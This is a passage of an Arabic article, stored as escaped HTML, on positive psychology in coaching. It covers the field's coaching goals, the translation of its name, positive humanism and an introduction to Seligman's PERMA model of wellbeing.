\u0644\u0627\u0631\u062a\u0628\u0627\u0637\u0647 \u0628\u0627\u0644\u0645\u0639\u0627\u0646\u064a \u0627\u0644\u0648\u062c\u062f\u0627\u0646\u064a \u0645\u062b\u0644: \u0627\u0644\u062a\u0639\u0627\u0643\u0641 \u0648\u0627\u0644\u0634\u0641\u0642\u0629 \u0643\u0648\u0646 \u0647\u0630\u0647 \u0627\u0644\u0645\u0639\u0627\u0646\u064a \u0623\u0643\u062b\u0631 \u0623\u0647\u0645\u064a\u0629 \u0645\u0646 \u0627\u0644\u062a\u0641\u0643\u064a\u0631 \u0627\u0644\u0646\u0627\u0642\u062f.<\/span><\/li>\n<li><span style=\"color: #000000;\">\u062a\u062a\u0636\u0645\u0646 \u0643\u0644 \u0627\u0644\u0623\u064a\u0627\u0645 \u0627\u0644\u062c\u064a\u062f\u0629 \u062b\u0644\u0627\u062b\u0629 \u0623\u0634\u064a\u0627\u0621: \u0627\u0644\u0634\u0639\u0648\u0631 \u0628\u0627\u0644\u0627\u0633\u062a\u0642\u0644\u0627\u0644\u064a\u0629 \u0648\u0627\u0644\u0630\u0627\u062a\u064a\u0629\u060c \u0627\u0644\u0634\u0639\u0648\u0631 \u0628\u0627\u0644\u0643\u0641\u0627\u0621\u0629\u060c \u0648\u0627\u0644\u0627\u0631\u062a\u0628\u0627\u0637 \u0648\u0627\u0644\u062a\u0639\u0644\u0642 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0628\u0627\u0644\u0622\u062e\u0631\u064a\u0646.<\/span><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u0648\u0644\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0648\u0635\u0641 \u062a\u0641\u0635\u064a\u0644\u064a \u0639\u0627\u0645 \u0644\u0644\u0646\u0638\u0631\u064a\u0627\u062a \u0648\u0627\u0644\u0645\u0641\u0627\u0647\u064a\u0645 \u0627\u0644\u0645\u0631\u0643\u0632\u064a\u0629 \u0644\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u064a\u0645\u0643\u0646 \u0627\u0644\u0625\u0628\u062d\u0627\u0631 \u0641\u064a \u0627\u0644\u0645\u0648\u0642\u0639 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a \u0627\u0644\u062a\u0627\u0644\u064a \u0648\u0627\u0644\u0630\u064a \u064a\u0642\u062f\u0645 \u062e\u0631\u064a\u0637\u0629 \u0630\u0647\u0646\u064a\u0629 \u0644\u0645\u0627\u0647\u064a\u0629 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0628\u0645\u0641\u0627\u0647\u064a\u0645\u0647 \u0648\u0646\u0638\u0631\u064a\u0627\u062a\u0647 \u0648\u0623\u0647\u062f\u0627\u0641\u0647 \u0648\u0645\u0648\u0636\u0648\u0639\u0627\u062a\u0647 positivepsychology.org.uk.<\/p>\n<p style=\"text-align: justify;\"><em><span style=\"color: #000000;\"><strong>\u062e\u0627\u0645\u0633\u064b\u0627- \u0623\u0647\u062f\u0627\u0641 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a (\u0645\u062c\u0627\u0644 \u0627\u0644\u062a\u062f\u0631\u064a\u0628): <\/strong><\/span><\/em><\/p>\n<p style=\"text-align: justify;\">\u064a\u062a\u0639\u062c\u0644 \u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0645\u062a\u062e\u0635\u0635\u064a\u0646 \u0641\u064a \u0627\u0644\u0627\u0646\u062f\u0641\u0627\u0639 \u0647\u0643\u0630\u0627 \u062a\u0644\u0642\u0627\u0626\u064a\u064b\u0627 \u0646\u062d\u0648 \u062a\u0637\u0628\u064a\u0642 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0641\u064a \u0645\u062c\u0627\u0644 \u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u0645\u062a\u0627\u062c\u0631\u0629 \u0628\u0647 \u0648\u062a\u0623\u0633\u064a\u0633\u064b\u0627 \u0644\u0647 \u0639\u0644\u0649 \u063a\u064a\u0631 \u0645\u0627 \u064a\u0631\u063a\u0628 \u0623\u0646\u0635\u0627\u0631\u0647\u060c \u0631\u0628\u0645\u0627 \u062a\u062d\u062a \u0627\u062f\u0639\u0627\u0621 \u0627\u0644\u0631\u063a\u0628\u0629 \u0641\u064a \u0645\u0633\u0627\u0639\u062f\u0629 \u0627\u0644\u0622\u062e\u0631\u064a\u0646\u060c \u0648\u0639\u0644\u0649 \u0623\u064a\u0629 \u062d\u0627\u0644 \u062a\u062a\u0645\u062b\u0644 \u0623\u0647\u062f\u0627\u0641 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0641\u064a \u0645\u062c\u0627\u0644 \u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u0639\u0644\u0649 \u0648\u062c\u0647 \u0627\u0644\u062a\u062d\u062f\u064a\u062f \u0641\u064a\u0645\u0627 \u064a\u0644\u064a:<\/p>\n<ul style=\"text-align: justify;\">\n<li>\u0627\u0644\u062a\u0623\u062b\u064a\u0631 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0639\u0644\u0649 \u062d\u064a\u0627\u0629 \u0627\u0644\u0639\u0645\u064a\u0644: \u0648\u064a\u0639\u062f \u0647\u0630\u0627 \u0627\u0644\u0647\u062f\u0641 \u0627\u0644\u0647\u062f\u0641 \u0627\u0644\u0645\u0631\u0643\u0632\u064a \u0627\u0644\u0630\u064a \u062a\u062f\u0648\u0631 \u062d\u0648\u0644\u0647 \u0643\u0644 \u0627\u0644\u0623\u0647\u062f\u0627\u0641 \u0627\u0644\u0623\u062e\u0631\u0649 \u0627\u0644\u062a\u064a \u0633\u064a\u0631\u062f \u0630\u0643\u0631\u0647\u0627\u060c \u0628\u0645\u0627 \u064a\u0639\u0646\u064a \u0623\u0646 \u062a\u062d\u0633\u064a\u0646 \u062d\u064a\u0627\u0629 \u0627\u0644\u0639\u0645\u064a\u0644 \u0648\u0627\u0644\u0627\u0631\u062a\u0642\u0627\u0621 \u0628\u0647\u0627 \u0627\u0644\u063a\u0627\u064a\u0629 \u0627\u0644\u0646\u0647\u0627\u0626\u064a\u0629 \u0644\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0633\u064a\u0627\u0642.<\/li>\n<li>\u0632\u064a\u0627\u062f\u0629 \u062e\u0628\u0631\u0629 \u0627\u0644\u0639\u0645\u064a\u0644 \u0628\u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0648\u062a\u0639\u0627\u064a\u0634\u0647 \u0645\u0639\u0647\u0627 \u0648\u0635\u0646\u0627\u0639\u062a\u0647 \u0644\u0647\u0627.<\/li>\n<li>\u0645\u0633\u0627\u0639\u062f\u0629 \u0627\u0644\u0639\u0645\u064a\u0644 \u0641\u064a \u062a\u0639\u0631\u0641 \u0648\u062a\u0646\u0645\u064a\u0629 \u0648\u062a\u0639\u0632\u064a\u0632 \u0645\u0643\u0627\u0645\u0646 \u0642\u0648\u062a\u0647 \u0648\u0645\u0648\u0627\u0647\u0628\u0647 \u0627\u0644\u0646\u0648\u0639\u064a\u0629 \u0627\u0644\u0641\u0631\u064a\u062f\u0629.<\/li>\n<li>\u062a\u0639\u0632\u064a\u0632 \u062a\u0648\u062c\u0647 \u0627\u0644\u0639\u0645\u064a\u0644 \u0646\u062d\u0648 \u0648\u0636\u0639 \u0627\u0644\u0647\u062f\u0641 \u0648\u0627\u0644\u0645\u062b\u0627\u0628\u0631\u0629 \u0641\u064a \u0627\u0633\u062a\u0645\u062b\u0627\u0631 \u0642\u062f\u0631\u0627\u062a\u0647 \u0644\u062a\u062d\u0642\u064a\u0642\u0647 \u0647\u062f\u0641\u0647.<\/li>\n<li>\u0628\u0646\u0627\u0621 \u0648\u063a\u0631\u0633 \u0627\u0644\u0634\u0639\u0648\u0631 \u0628\u0627\u0644\u0623\u0645\u0644 \u0641\u064a \u0627\u0644\u062a\u0643\u0648\u064a\u0646 \u0627\u0644\u0646\u0641\u0633\u064a \u0644\u0644\u0639\u0645\u064a\u0644.<\/li>\n<li>\u062a\u0623\u0633\u064a\u0633 \u0648\u0628\u0646\u0627\u0621 \u0627\u0644\u0633\u0639\u0627\u062f\u0629 \u0648\u0627\u0644\u0647\u0646\u0627\u0621 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0641\u064a \u0627\u0644\u062a\u0643\u0648\u064a\u0646 \u0627\u0644\u0646\u0641\u0633\u064a \u0644\u0644\u0639\u0645\u064a\u0644.<\/li>\n<li>\u062a\u0646\u0645\u064a\u0629 \u062a\u0648\u062c\u0647 \u0627\u0644\u0639\u0645\u064a\u0644 \u0646\u062d\u0648 \u0627\u0644\u0627\u0645\u062a\u0646\u0627\u0646 \u0648\u0627\u0644\u0639\u0631\u0641\u0627\u0646 \u0628\u0627\u0644\u0641\u0636\u0644 \u0644\u0623\u0647\u0644\u0647 \u0643\u0645\u0633\u0627\u0631 \u0644\u0637\u064a\u0628 \u0627\u0644\u062d\u064a\u0627\u0629.<\/li>\n<li>\u0645\u0633\u0627\u0639\u062f\u0629 \u0627\u0644\u0639\u0645\u064a\u0644 \u0639\u0644\u0649 \u062a\u0643\u0648\u064a\u0646 \u0639\u0644\u0627\u0642\u0627\u062a \u0628\u064a\u0646 \u0634\u062e\u0635\u064a\u0629 \u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0648\u0648\u062f\u064a\u0629 \u0645\u0633\u062a\u062f\u0627\u0645\u0629 \u0645\u0639 \u0627\u0644\u0622\u062e\u0631\u064a\u0646.<\/li>\n<li>\u062a\u0634\u062c\u064a\u0639 \u0627\u0644\u0639\u0645\u064a\u0644 \u0639\u0644\u0649 \u062a\u0628\u0646\u064a \u0646\u0638\u0631\u064a\u0629 \u062a\u0641\u0627\u0624\u0644\u064a\u0629 \u0644\u0644\u062d\u064a\u0627\u0629 \u0641\u064a \u0627\u0644\u062d\u0627\u0636\u0631 \u0648\u0627\u0644\u0645\u0633\u062a\u0642\u0628\u0644.<\/li>\n<li>\u0645\u0633\u0627\u0639\u062f\u0629 \u0627\u0644\u0639\u0645\u064a\u0644 \u0639\u0644\u0649 \u0627\u0644\u0627\u0633\u062a\u0645\u062a\u0627\u0639 \u0648\u062a\u0630\u0648\u0642 \u0645\u0630\u0627\u0642 \u0643\u0644 \u0644\u062d\u0638\u0629 \u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0641\u064a \u062d\u064a\u0627\u062a\u0647(Peppercorn, 2014).<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><em><span style=\"color: #000000;\"><strong>\u0633\u0627\u062f\u0633\u064b\u0627- <\/strong><strong>\u0639\u0644\u0645 \u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a- \u0645\u0642\u062f\u0645\u0629 \u0644\u0646\u0645\u0648\u0630\u062c \u0628\u064a\u0631\u0645\u0627 <\/strong><strong>PERMA Model<\/strong><strong>: <\/strong><\/span><\/em><\/p>\n<p style=\"text-align: justify;\">\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0643\u064a\u0627\u0646 \u0645\u0627\u062b\u0644 \u0623\u0645\u0627\u0645\u0646\u0627 \u064a\u0645\u0643\u0646 \u0648\u0635\u0641\u0647 \u0648\u062a\u062d\u062f\u064a\u062f \u0645\u0644\u0627\u0645\u062d\u0647 \u0648\u0631\u0633\u0645 \u0635\u0648\u0631\u0629 \u0641\u0627\u0631\u0642\u0629 \u0644\u0647 \u0639\u0646 \u0645\u0627 \u064a\u062d\u064a\u0637 \u0628\u0647\u060c \u0648\u0639\u0631\u0641\u0646\u0627 \u0643\u0630\u0644\u0643 \u0623\u0646\u0647 \u0643\u0627\u0646 \u062c\u0646\u064a\u0646\u064b\u0627 \u0641\u064a \u0631\u062d\u0645 \u0623\u0645\u0647 \u0645\u0646 \u0639\u0644\u0627\u0642\u0629 \u0632\u0648\u0627\u062c\u064a\u0629 \u0645\u0634\u0631\u0648\u0639\u0629 \u0627\u062e\u062a\u0645\u0631 \u0641\u064a \u0623\u062d\u0634\u0627\u0626\u0647\u0627 \u0648\u0646\u0645\u0627 \u0648\u0639\u0646\u062f\u0645\u0627 \u062c\u0627\u0621\u062a \u0644\u062d\u0638\u0629 \u0648\u0644\u0627\u062f\u062a\u0647 \u0643\u062a\u0628\u062a \u0644\u0647 \u0634\u0647\u0627\u062f\u0629 \u0645\u064a\u0644\u0627\u062f \u0631\u0633\u0645\u064a\u0629 \u0643\u0627\u0646 \u064a\u062a\u0639\u064a\u0646 \u0623\u0646 \u064a\u0630\u0643\u0631 \u0641\u064a\u0647\u0627 \u0627\u0633\u0645\u0647 \u0648\u0623\u0635\u0644\u0647 \u0648\u0648\u062c\u0647\u062a\u0647 \u0648\u0637\u0628\u064a\u0639\u062a\u0647.<\/p>\n<p style=\"text-align: justify;\">\u0641\u0643\u0627\u0646\u062a \u0627\u0644\u062a\u0633\u0645\u064a\u0629 &#8220;\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a Positive Psychology&#8221; \u0643\u062a\u0631\u062c\u0645\u0629 \u0648\u062d\u064a\u062f\u0629 \u0641\u064a \u0648\u0627\u0642\u0639 \u0627\u0644\u0623\u0645\u0631 \u0641\u064a\u0645\u0627 \u0623\u062f\u0639\u064a \u0644\u0627 \u062a\u062d\u062a\u0645\u0644 \u0628\u0646\u064a\u0629 &#8220;\u0627\u0644\u062a\u0639\u0628\u064a\u0631 \u0627\u0644\u0644\u063a\u0648\u064a&#8221; \u0628\u062f\u0644\u0627\u0644\u0627\u062a\u0647 \u0627\u0644\u0644\u063a\u0648\u064a\u0629 \u0627\u0644\u0645\u0628\u0627\u0634\u0631\u0629 \u0625\u0644\u0627 \u0647\u0630\u0647 \u0627\u0644\u062a\u0631\u062c\u0645\u0629\u060c \u0648\u0645\u0639 \u0630\u0644\u0643 \u0648\u0625\u0646 \u0643\u0627\u0646 \u0627\u0644\u0627\u062e\u062a\u0644\u0627\u0641 \u0639\u0644\u0649 \u0627\u0644\u062a\u0631\u062c\u0645\u0629 \u0641\u0625\u0646 \u0627\u0644\u0648\u062c\u0648\u062f \u0648\u0627\u0644\u0643\u064a\u0627\u0646 \u0648\u0627\u0644\u0645\u0644\u0627\u0645\u062d \u0648\u0627\u0644\u0641\u0627\u0639\u0644\u064a\u0629 \u0648\u0627\u0644\u0625\u062b\u0645\u0627\u0631 \u0638\u0627\u0647\u0631 \u0628\u0645\u0633\u062a\u0648\u064a\u0627\u062a \u0639\u064a\u0627\u0646\u064a\u0629 \u0648\u0645\u0639\u0646\u0648\u064a\u0629.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0644\u0627 \u0636\u064a\u0631 \u0641\u064a \u0623\u0646 \u064a\u064c\u0639\u0652\u0627\u062f \u0627\u0644\u0648\u0633\u0645 \u0628\u0639\u0628\u0627\u0631\u0627\u062a \u0623\u062e\u0631\u0649 \u0642\u062f \u062a\u062d\u062a\u0645\u0644\u0647\u0627 \u0627\u0644\u062f\u0644\u0627\u0644\u0627\u062a \u0627\u0644\u0627\u0635\u0637\u0644\u0627\u062d\u064a\u0629 \u0644\u0644\u0641\u0643\u0631\u0629 \u0627\u0644\u0645\u0631\u0643\u0632\u064a\u0629 \u0648\u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636 \u0627\u0644\u0631\u0626\u064a\u0633\u064a \u0644\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u060c \u0625\u0630 \u064a\u0645\u0643\u0646 \u062a\u0633\u0645\u064a\u062a\u0647 &#8220;\u0639\u0644\u0645 \u0646\u0641\u0633 \u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629&#8221; \u0623\u0648 &#8220;\u062d\u0631\u0643\u0629 \u0639\u0644\u0645 \u0646\u0641\u0633 \u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u062a\u0648\u062c\u0647\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629&#8221; \u062f\u0648\u0646 \u0623\u0646 \u064a\u0639\u0646\u064a \u0630\u0644\u0643 \u0639\u0644\u0649 \u0627\u0644\u0625\u0637\u0644\u0627\u0642 \u0623\u0646 &#8220;\u0642\u0636\u0627\u064a\u0627 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629&#8221; \u0623\u0648 &#8220;\u0627\u0644\u062a\u0648\u062c\u0647\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629&#8221; \u062d\u0643\u0631\u064b\u0627 \u0639\u0644\u0649 \u0647\u0630\u0627 \u0627\u0644\u062a\u064a\u0627\u0631 \u0623\u0648 \u0630\u0627\u0643.<\/p>\n<p style=\"text-align: justify;\">\u0648\u064a\u0645\u0643\u0646 \u0627\u0644\u062a\u0623\u0643\u064a\u062f \u0639\u0644\u0649 \u0630\u0644\u0643 \u0641\u064a\u0645\u0627 \u064a\u0639\u0631\u0641 \u0628\u0646\u0642\u0627\u0637 \u0627\u0644\u062a\u0642\u0627\u0637\u0639 \u0628\u064a\u0646 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a \u0640 \u0642\u062f \u064a\u0638\u0646 \u0625\u0630\u0646 \u0644\u0648 \u062a\u0648\u0642\u0641\u0646\u0627 \u0639\u0646\u062f \u0643\u0644 \u062a\u0639\u0628\u064a\u0631 \u0645\u0646 \u0646\u0627\u062d\u064a\u0629 \u0627\u0644\u062f\u0644\u0627\u0644\u0629 \u0627\u0644\u0644\u063a\u0648\u064a\u0629 \u0644\u0642\u0644\u0646\u0627 \u0647\u0644 \u064a\u0639\u0646\u064a \u062a\u0639\u0628\u064a\u0631 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u060c \u0648\u062c\u0648\u062f \u0639\u0644\u0645 \u0646\u0641\u0633 \u063a\u064a\u0631 \u0625\u0646\u0633\u0627\u0646\u064a\u061f \u0645\u0639\u0644\u0648\u0645 \u0623\u0646 \u0627\u0644\u0645\u062f\u062e\u0644 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a \u0641\u064a \u0648\u0635\u0641 \u0648\u062a\u0641\u0633\u064a\u0631 \u0627\u0644\u0638\u0627\u0647\u0631\u0629 \u0627\u0644\u0633\u064a\u0643\u0648\u0644\u0648\u062c\u064a\u0629 \u0645\u062b\u0644 \u0627\u0644\u0645\u0648\u062c\u0629 \u0627\u0644\u062b\u0627\u0644\u062b\u0629 \u0645\u0646 \u0645\u0648\u062c\u0627\u062a \u0627\u0644\u0627\u0631\u062a\u0642\u0627\u0621 \u0641\u064a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633\u060c \u0648\u0644\u0627 \u064a\u0639\u0646\u064a \u0630\u0644\u0643 \u0623\u0646 \u0627\u0644\u0645\u0648\u062c\u0627\u062a \u0627\u0644\u0633\u0627\u0628\u0642\u0629 \u0644\u0645 \u064a\u0639\u062f \u0644\u0647\u0627 \u0648\u062c\u0648\u062f \u0625\u0646\u0647 \u0641\u0642\u0637 \u0645\u0648\u0632\u0627\u064a\u064a\u0643 \u0627\u0644\u0645\u062f\u0627\u062e\u0644 \u0644\u0631\u0633\u0645 \u0627\u0644\u0635\u0648\u0629 \u0627\u0644\u0625\u062c\u0645\u0627\u0644\u064a\u0629 \u0627\u0644\u062a\u064a \u0644\u0627 \u064a\u0645\u0643\u0646 \u0644\u0645\u062f\u062e\u0644 \u0645\u062d\u062f\u062f \u0627\u0644\u0625\u062d\u0627\u0637\u0629 \u0628\u0647\u0627 \u0640 \u0648\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0623\u0648 \u062d\u0631\u0643\u0629 \u0639\u0644\u0645 \u0646\u0641\u0633 \u062f\u0631\u0627\u0633\u0629 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0641\u064a \u0636\u0648\u0621 \u0645\u0641\u0647\u0648\u0645 \u0628\u0627\u0644\u063a \u0627\u0644\u062f\u0642\u0629 \u0648\u0628\u0627\u0644\u063a \u0627\u0644\u0631\u0648\u0639\u0629 \u0641\u064a \u0623\u062f\u0628\u064a\u0627\u062a \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0648\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0645\u0639\u0627\u0635\u0631 \u0647\u0648 \u0645\u0641\u0647\u0648\u0645 &#8220;\u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u0629 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 positive humanism &#8221; \u0648\u0647\u064a \u0641\u0644\u0633\u0641\u0629 \u0625\u0646\u0633\u0627\u0646\u064a\u0629 \u062a\u0637\u0628\u064a\u0642\u064a\u0629 \u0645\u0631\u062a\u0643\u0632\u0629 \u0639\u0644\u0649 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0627\u0644\u0639\u0644\u0645\u064a\u0629 \u0644\u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0641\u064a \u062a\u0631\u0643\u064a\u0632\u0647\u0627 \u0639\u0644\u0649 \u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631 \u0627\u0644\u0634\u062e\u0635\u064a \u0648\u0627\u0644\u0645\u0647\u0646\u064a \u0648\u0627\u0644\u0645\u062c\u062a\u0645\u0639\u064a \u0627\u0644\u0639\u0627\u0645.<\/p>\n<p style=\"text-align: justify;\">\u0648\u0628\u062a\u0631\u062c\u0645\u0629 \u0647\u0630\u0647 \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0625\u0644\u0649 \u0641\u0644\u0633\u0641\u0629 \u062a\u0637\u0628\u064a\u0642\u064a\u0629 \u0646\u062c\u062f \u0623\u0646\u0647\u0627 \u062a\u0637\u0631\u062d \u062d\u0644\u0648\u0644\u0627\u064b \u0639\u0645\u0644\u064a\u0629 \u0644\u062a\u062d\u0633\u064a\u0646 \u0648\u0632\u064a\u0627\u062f\u0629 \u0627\u0644\u062a\u0646\u0639\u0645 \u0648\u0637\u064a\u0628 \u0627\u0644\u062d\u064a\u0627\u0629\u060c \u0648\u0647\u064a \u0643\u0641\u0644\u0633\u0641\u0629 \u062a\u0637\u0628\u064a\u0642\u064a\u0629 \u062a\u0639\u062a\u0645\u062f \u0639\u0644\u0649 \u0646\u0638\u0631\u064a\u0627\u062a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a \u0627\u0644\u062a\u064a \u062a\u0635\u0641 \u0648\u062a\u062d\u0644\u0644 \u0648\u062a\u0641\u0633\u0631 \u0645\u0627 \u064a\u0635\u062d \u062a\u0633\u0645\u064a\u062a\u0647 \u0628\u0645\u062a\u0635\u0644 \u0627\u0644\u0635\u062d\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0640 \u0627\u0644\u0627\u0632\u062f\u0647\u0627\u0631 \u0627\u0644\u0628\u0634\u0631\u064a mental health spectrum\u2014human thriving\u060c \u0648\u062a\u0631\u0643\u0632 \u0647\u0630\u0647 \u0627\u0644\u0641\u0644\u0633\u0641\u0629 \u0639\u0644\u0649 \u0627\u0633\u062a\u062b\u0645\u0627\u0631 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0627\u062a \u0625\u062c\u0631\u0627\u0626\u064a\u0629 \u0644\u0645\u0633\u0627\u0639\u062f\u0629 \u0627\u0644\u0623\u0641\u0631\u0627\u062f \u0641\u064a \u0643\u0644 \u0645\u062c\u0627\u0644\u0627\u062a \u0627\u0644\u0627\u0631\u062a\u0642\u0627\u0621 \u0648\u0627\u0644\u062a\u0637\u0648\u0631 \u0648\u0627\u0644\u0646\u062c\u0627\u062d \u0627\u0644\u0645\u0647\u0646\u064a\u060c \u0623\u0633\u0627\u0633\u064b\u0627 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0627\u0644\u062a\u0623\u0643\u064a\u062f \u0639\u0644\u0649 \u0627\u0644\u0623\u0641\u0639\u0627\u0644 \u0627\u0644\u0627\u062c\u062a\u0645\u0627\u0639\u064a\u0629 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 pro-social acts \u0648\u0639\u0628\u0631 \u062a\u062f\u0639\u064a\u0645 \u0648\u062a\u0631\u0633\u064a\u062e \u0627\u0644\u062a\u0648\u062c\u0647 \u0646\u062d\u0648 \u0627\u0644\u062a\u0639\u0627\u0637\u0641 \u0648\u0627\u0644\u0625\u064a\u062b\u0627\u0631.<\/p>\n<p style=\"text-align: justify;\">\u0648\u064a\u0639\u062f \u0646\u0645\u0648\u0630\u062c \u0628\u064a\u0631\u0645\u0627 \u0641\u064a \u0648\u0635\u0641 \u0645\u0627\u0647\u064a\u0629 \u0648\u0637\u0628\u064a\u0639\u0629 \u0627\u0644\u0647\u0646\u0627\u0621 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0646\u0645\u0648\u0630\u062c \u0627\u0644\u0646\u0638\u0631\u064a \u0627\u0644\u0645\u0631\u0643\u0632\u064a \u0641\u064a \u0645\u062a\u0646 \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u060c \u0635\u0627\u063a\u0647 \u0648\u0637\u0648\u0631\u0647 \u0645\u0627\u0631\u062a\u064a\u0646 \u0625\u0644\u064a\u0627\u0633 \u0628\u064a\u062a\u0631 \u0633\u064a\u0644\u062c\u0645\u0627\u0646 \u0644\u0648\u0635\u0641 \u0648\u062a\u0639\u0631\u064a\u0641 &#8220;\u0627\u0644\u062a\u0646\u0639\u0645&#8221;\u060c \u0623\u0648 &#8220;\u0627\u0644\u0647\u0646\u0627\u0621 \u0641\u064a \u0627\u0644\u062d\u064a\u0627\u0629&#8221; wellbeing\u0628\u0635\u0648\u0631\u0629 \u062a\u0641\u0635\u064a\u0644\u064a\u0629.<\/p>\n<p style=\"text-align: justify;\">\u0648\u062a\u0646\u0637\u0644\u0642 \u0627\u0644\u0641\u0644\u0633\u0641\u0629 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u0629 \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 \u0645\u0646 \u0627\u0644\u0645\u0646\u0638\u0648\u0631 \u0627\u0644\u062a\u0637\u0628\u064a\u0642\u064a \u0645\u0646 \u0646\u0645\u0648\u0630\u062c \u0628\u064a\u0631\u0645\u0627 PERMA model \u0641\u064a \u0648\u0635\u0641 \u0648\u062a\u0641\u0633\u064a\u0631 \u0627\u0644\u062a\u0646\u0639\u0645 \u0648\u0641\u0642\u064b\u0627 \u0644\u062a\u0635\u0648\u0631\u0627\u062a \u0645\u0627\u0631\u062a\u064a\u0646 \u0633\u0644\u064a\u062c\u0645\u0627\u0646 \u0628\u0645\u0643\u0648\u0646\u0627\u062a\u0647 \u0627\u0644\u062e\u0645\u0633\u0629 \u0627\u0644\u062a\u064a \u062a\u062a\u0645\u062b\u0644 \u0641\u064a\u0645\u0627 \u064a\u0644\u064a:<\/p>\n<ul style=\"text-align: justify;\">\n<li><span style=\"color: #000000;\">\u0627\u0644\u0627\u0646\u0641\u0639\u0627\u0644\u0627\u062a \u0627\u0644\u0625\u064a\u062c\u0627\u0628\u064a\u0629 Positive Emotions \u0648\u062a\u0645\u062b\u0644 \u0627\u0644\u0639\u0646\u0635\u0631 \u0627\u0644\u0623\u0648\u0644 \u0641\u064a \u0646\u0638\u0631\u064a\u0629 &#8220;\u0627\u0644\u0647\u0646\u0627\u0621&#8221; \u0623\u0648 &#8220;\u0627\u0644\u062a\u0646\u0639\u0645&#8221; \u0623\u0648 &#8220;\u062d\u0633\u0646 \u0627\u0644\u062d\u0627\u0644&#8221; \u0623\u0648 &#8220;\u0637\u064a\u0628 \u0627\u0644\u062d\u064a\u0627\u0629&#8221; &#8230;. Well-being theory \u0648\u062a\u062c\u0633\u062f \u0645\u0627 \u064a\u0634\u0627\u0631 \u0625\u0644\u064a\u0647 \u0627\u0635\u0637\u0644\u0627\u062d\u064b\u0627 &#8220;\u0628\u062d\u064a\u0627\u0629 \u0627\u0644\u0627\u0628\u062a\u0647\u0627\u062c 